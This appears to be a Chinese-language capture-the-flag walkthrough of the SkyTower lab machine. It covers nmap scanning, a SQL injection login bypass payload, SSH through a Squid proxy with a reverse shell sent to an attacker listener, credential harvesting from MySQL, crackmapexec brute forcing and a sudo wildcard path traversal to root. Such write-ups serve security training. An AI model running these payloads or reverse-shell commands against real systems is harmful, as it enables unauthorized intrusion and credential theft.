

10-SkyTower

#端口

```
nmap -sS -p- --min-rate 10000 10.30.13.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-22 03:59 GMT
Nmap scan report for 10.30.13.9
Host is up (0.000062s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE      SERVICE
22/tcp    filtered  ssh
80/tcp    open       http
3128/tcp  open       squid-http
MAC Address: 08:00:27:9A:C9:AA (Oracle VirtualBox virtual NIC)
```

##服务

```
nmap -sVC -O 10.30.13.9 --min-rate 8888
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-22 04:01 GMT
Nmap scan report for 10.30.13.9
Host is up (0.00035s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE      SERVICE      VERSION
22/tcp    filtered  ssh
80/tcp    open       http         Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Site doesn't have a title (text/html).
3128/tcp  open       http-proxy   Squid http proxy 3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.1.20
MAC Address: 08:00:27:9A:C9:AA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
Network Distance: 1 hop
```

漏扫结果

```
登录框存在注入
payloads
'oorr '1' like '1
```

登录后台获得一个账号

Username: john

Password: hereisjohn

使用目标代理再次扫描

```
proxychains nmap -sT -n -p- 10.30.13.9
22/tcp open  ssh
```

可登录的ssh

目标ssh需要挂代理才能连上，但连上秒退

等ssh时执行条命令

```
proxychains4 ssh john@10.30.13.9 "sh -i >& /dev/tcp/10.30.13.70/4444 0>&1"
```

接收

```
proxychains4 nc -lvnp 4444
```

#删除让我们秒退的程序

登录账号后找到cat .bashrc，发现了让我退出时的标语

```
mv .bashrc .bashrc.bak
```

再次连ssh不会再秒退

```
proxychains4 ssh john@10.30.13.9
```

提权

mysql登录账号密码

在系统的login.php文件中搜到，mysql的账号密码

```
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
```

mysql数据库中搜索到的其他账号信息

```
mysql> select * from login;
```

id	email	password
1	john@skytech.com	hereisjohn
2	sara@skytech.com	ihatethisjob
3	william@skytech.com	senseable

对比/etc/passwd文件，这几个用户都是存在的尝试登录

```
cat /etc/passwd | grep /home | awk -F: '{print $1}'
```

john

```
sara  
william
```

cme爆破

```
#爆出一个账号  
proxychains4 crackmapexec ssh 10.30.13.9 -u user.list -p pass.list  
proxychains] Dynamic chain ... 10.30.13.9:3128 ... 10.30.13.9:22 ... OK  
SSH 10.30.13.9 22 10.30.13.9 [+] sara:ihatethisjob
```

sara账号上sudo有root权限

```
sudo -l  
Matching Defaults entries for sara on this host:  
    env_reset, mail_badpass,  
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

```
User sara may run the following commands on this host:  
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
```

#sudo提权

sudo -l 得知我们可以对/accounts/* 做查看文件和目录，*是通配符代表后面加啥都可以

于是

```
sudo /bin/ls /accounts/../../../../root  
flag.txt
```

获得root用户权限

```
sudo /bin/cat /accounts/../../../../root/flag.txt  
Congratz, have a cold one to celebrate!  
root password is theskytower
```

###root

```
sara@SkyTower:/$ su root  
Password:  
root@SkyTower:/# id  
uid=0(root) gid=0(root) groups=0(root)  
root@SkyTower:/# whoami  
root
```

root@SkyTower: / #